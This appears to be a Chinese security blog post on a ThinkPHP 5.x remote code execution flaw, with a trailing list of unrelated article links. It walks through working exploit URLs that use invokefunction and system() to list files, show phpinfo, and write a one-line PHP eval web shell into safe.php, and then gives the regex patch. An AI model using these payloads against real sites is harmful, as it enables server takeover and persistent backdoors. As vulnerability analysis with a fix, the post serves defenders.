Thinkphp网站漏洞怎么修复解决

简介: THINKPHP漏洞修复,官方于近日,对现有的thinkphp5.0到5.1所有版本进行了升级,以及补丁更新,这次更新主要是进行了一些漏洞修复,最严重的就是之前存在的SQL注入漏洞,以及远程代码执行查询系统的漏洞都进行了修复,官方本以为没有问题了,但是在实际的安全检测当中发现,还是存在问题,还是可以远程代码进行注入,插入非法字符,提交到服务器后端中去。

THINKPHP漏洞修复,官方于近日,对现有的thinkphp5.0到5.1所有版本进行了升级,以及补丁更新,这次更新主要是进行了一些漏洞修复,最严重的就是之前存在的SQL注入漏洞,以及远程代码执行查询系统的漏洞都进行了修复,官方本以为没有问题了,但是在实际的安全检测当中发现,还是存在问题,还是可以远程代码进行注入,插入非法字符,提交到服务器后端中去。


关于这次发现的oday漏洞,我们来看下官方之前更新的代码文件是怎么样的,更新的程序文件路径是library文件夹下的think目录里的app.php,如下图:

u=3323187009,2716943810&fm=173&app=49&f=JPEG.jpg

漏洞产生的原因就在于这个控制器这里,整个thinkphp框架里的功能对控制器没有进行严格的安全过滤于检查,使攻击者可以伪造恶意参数进行强制插入,最根本的原因就是正则的表达式写的不好,导致可以绕过。


在controller获取控制器后,直接进行赋值,但是并没有对控制器的名进行严格的检测,导致可以使用斜杠等特殊符号来远程代码注入。


我们来搭建一下网站的环境,apache+mysql+Linux centos系统,搭建好的测试环境地址是127.0.01/anquan ,我们可以直接在index.php后面伪造攻击参数,示例如下:


127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l


直接get方式提交到网站中去,可以直接查询到网站当前根目录的所有文件,截图如下:


u=2272079778,3445932402&fm=173&app=49&f=JPEG.jpg


通过该漏洞也可以直接远程代码注入执行phpinfo语句,查询当前的php版本,路径,扩展,以及php.ini存放的地址,都可以看得到,构造如下代码即可。


127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'


u=902124070,3778954851&fm=173&app=49&f=JPEG.jpg


有些人可能会问了,既然都可以phpinfo,查询目录文件,可不可以getshell写网站木马文件到网站里呢? 答案是可以的,我们测试的时候是以一句话木马代码的写入到safe.php文件里。


127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_GET["cmd"]);?>%27%20>%20safe.php


关于这次thinkphp的漏洞利用以及分析到此就结束了,该漏洞属于高危漏洞,危害严重性较大,很多升级更新补丁的网站都会受到攻击,甚至有些网站会被挂马,那么该如何修复thinkphp的漏洞呢?替换之前的正规则表达式即可,还需要对网站的目录进行权限部署,防止生成php文件,对网站上的漏洞进行修复,或者是对网站安全防护参数进行重新设置,使他符合当时的网站环境。如果不懂如何修复网站漏洞,也可以找专业的网站安全公司来处理,国内如Sinesafe和绿盟、启明星辰等安全公司比较专业.


针对于这个情况,我们要对其library/think/App.php代码里的正规则表达式进行更改,


if (!preg_match('/^[A-Za-z][\w\.]*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }



相关文章
|
JSON Unix Linux
Elasticsearch如何安装
Elasticsearch如何安装
|
前端开发 数据可视化 Java
报错:跨域问题解决 No ‘Access-Control-Allow-Origin‘ header is present on the requested resource.
报错:跨域问题解决 No ‘Access-Control-Allow-Origin‘ header is present on the requested resource.
2200 0
|
算法
基于matlab的瑞利信道模拟和仿真
基于matlab的瑞利信道模拟和仿真
1409 0
基于matlab的瑞利信道模拟和仿真
|
SQL 分布式计算 关系型数据库
CentOS7.x 安装Hive
1. 准备 1.1 apache-hive-2.1.0-bin.tar.gz包 1.2 mysql中创建新的数据库hive 2. 解压 3. 修改环境变量 vim /etc/profile export HIVE_HOME=xxxx export PATH=$PATH:$HIVE_HOME/bin 然后刷新配置source /etc/profile 4. 修改配置文件 首先需要下载并把mysql-connector-java-5.1.17.jar拷贝到hive/lib目录下,作为驱动要用到。
1727 0
|
Java
解决办法:无法安装 /lib/x86_64-linux-gnu/libpng12.so.0 的新版本
解决办法:无法安装 /lib/x86_64-linux-gnu/libpng12.so.0 的新版本
714 0
|
PHP Windows
thinkphp3定时任务,tp定时任务,thinkphp定时任务
thinkphp3定时任务,tp定时任务,thinkphp定时任务
994 0
|
机器学习/深度学习 缓存 并行计算
NVIDIA Tesla GPU系列P4、T4、P40以及V100参数性能对比
NVIDIA Tesla系列GPU适用于高性能计算(HPC)、深度学习等超大规模数据计算,Tesla系列GPU能够处理解析PB级的数据,速度比使用传统CPU快几个数量级,NVIDIA Tesla GPU系列P4、T4、P40以及V100是Tesla GPU系列的明星产品,云服务器吧分享NVIDIA Tesla GPU系列P4、T4、P40以及V100参数性能对比:
|
测试技术 开发者 Ruby
Ruby领域特定语言(DSL)的神秘力量:如何让你的代码飞起来?
【8月更文挑战第31天】在软件开发领域,Ruby以简洁的语法和强大的表达能力著称,但面对复杂业务逻辑时,代码可能变得冗长难维护。此时,领域特定语言(DSL)成为解决问题的有效途径。DSL专为特定领域设计,使代码更贴近业务逻辑,提高可读性和可维护性。本文通过示例展示了如何在Ruby中开发DSL,包括使用解析器和宏功能创建一个简单的Web应用结构描述语言,并提出了定义清晰语法、避免滥用DSL等最佳实践,强调了测试与文档的重要性。
368 0
|
Web App开发 编解码 移动开发
html5移动端页面分辨率设置及相应字体大小设置的靠谱使用方式
html5移动端页面分辨率设置及相应字体大小设置的靠谱使用方式
|
安全 数据安全/隐私保护
手把手教你在Server2012上修改域账户密码
在Server2012中修改域账户密码可通过命令行或管理工具实现。使用命令行时,打开CMD,输入&quot;domain username&quot;替换为账户名,按提示设置新密码。通过管理工具修改则需打开“计算机管理”,找到相应账户,右键设置密码。注意确保权限、密码复杂性和通知相关人员新密码。了解此技能能提升网络管理员的工作效率。